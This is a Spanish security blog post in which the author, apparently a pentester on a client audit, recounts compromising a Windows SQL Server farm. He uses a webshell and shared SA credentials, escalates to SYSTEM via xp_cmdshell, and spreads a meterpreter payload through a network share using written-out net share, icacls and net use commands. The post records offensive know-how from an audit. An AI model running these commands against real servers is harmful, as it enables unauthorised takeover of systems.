miércoles, 19 de abril de 2017

WebShell Windows. Como subir exe-meterpreter a distintos host mediante sqlserver...

Estimados amigos de Inseguros !!!

Voy a comentar un par de trucos que he tenido que usar para un proyecto de auditoria de un cliente.

El escenario es un poco raro, o mejor dicho, difícil de explicar, voy a intentar reflejarlo bien.

Seguro que hay mil maneras de hacer lo mismo, pero no se me ha ocurrido otra forma.

Escenario, servidor web con Sql Server comprometido con una webshell, la típica ASPXspy que me gusta bastante. Granja de servidores Windows parcheados, sin la misma clave de admin, y con el Sql Server con el mismo SA.

Lo primero que hago es ver los archivos web.config para intentar acceder a la base de datos. Como es normal, y por mucho que se diga, la conexión a la base de datos la hacen con el usuario SA, por lo que puedo ver TODAS las bbdd, me ahorran tener que ir uno a uno por los directorios de los proyectos viendo los ficheros, y bueno, tener acceso completo al Sql Server.

Ahora es el paso de subir un exe con el payload de meterpreter para intentar hacer la post-explotación más cómoda. Lo subo y desde la misma herramienta ejecuto el cmd con el fichero y tengo mi meterpreter.


Al contrario que en los manuales, cuando intento escalar privilegios me encuentro que NINGUNO de los métodos que leo me sirven. Imagino que el nivel de parcheo del server es alto, porque usando los típicos módulos para escalada no consigo pasar del iis_pool, el proceso que corre la web, y por lo tanto con el que corre el meterpreter.

Con la amabilidad que presenta esta webshell, me conecto al Sql Server y ejecuto un cmd_shell, que está vez si está habilitado, pero qué con la misma web shell tenemos la opción para habilitarlo si no lo estuviese, para eso somos SA xD.


Teniendo acceso al cmd con el "proceso" que corre el Sql Server pienso en ejecutar el exe meterpreter pero desde este contexto, y no desde el cmd de la webshell. Cual es el resultado, que la sesión meterpreter se me abre como system... en vez de iis_pool, por qué ? porque la gente no sabe aún que los servicios importantes, como Sql Server, Exchange, etc, se deben ejecutar con usuarios aislados del sistema. Pues nada, gracias. !!! Ahora ya puedo migrar a proceso, persistencia y hacer hashdump, incongito, etc...


Una vez "dentro" de la red encuentro una granja de servidores Sql Server en una dmz.

Con psexec intento conectarme a cada uno, pero no, no usan la misma clave de administrador que tengo del primer server ( Realmente la clave no, el hash, pero es lo mismo...)


Se me ocurre pensar, que los 10 servidores Windows no compartían la clave del admin, pero serán tan finos de hacer lo mismo para el Sql Server nooooooo, mismo SA en todos.

Entonces, teniendo acceso system a una consola cmd, pero solo desde la webshell, como hago para llevarme todo eso a meterpreter?

Se me ocurre compartir el .exe original en el primer servidor, con este comando:

Exec master.dbo.xp_cmdshell ' net share hackeo=C:\inetpub\wwwroot**************\uploads /GRANT:EVERYONE,READ'

Empiezo con las tonterías, hay que poner Todos en castellano.

A pesar de indicarle que quiero los permisos TODOS LEER no comparte sin usuario/clave, por lo que tengo que hacer esto:

Exec master.dbo.xp_cmdshell 'Icacls C:\inetpub\wwwroot\up\uploads\ /grant Todos:F /inheritance:e /T'

Ahora ya tengo compartida mi carpeta con el meterpreter.exe.

Ahora solo tengo que conectarme a los servidores destino, recuerda, con la opción de base de datos de la webshell, añadir la unidad de red, y ejecutar el meterpreter.exe.

Exec master.dbo.xp_cmdshell 'net use l: \\192.168.1.250\hack '

TAMPOCO !!! No hay manera de decirle que los permisos eran TODOS, LEER. por lo que tengo que crearme un usuario local en el primer server, y pasarle de argumento a este comando el user/pass

**Imagino que los permisos que establezco son a nivel carpeta compartida, por lo que si no están los permisos a nivel ntfs sobre la carpeta/fichero compartido no accede, pero no tengo ganas de cambiar los permisos a nivel NTFS, le paso el usuario/pass y listo**

Ahora si que ejecuto el meterpreter en los 10 servidores, todos con permiso system.

¿Como lo hubieras hecho tu, si lo único que tienes es el SA de los servidores SQL Server, y los Windows están actualizados?

Gracias por leerme!!!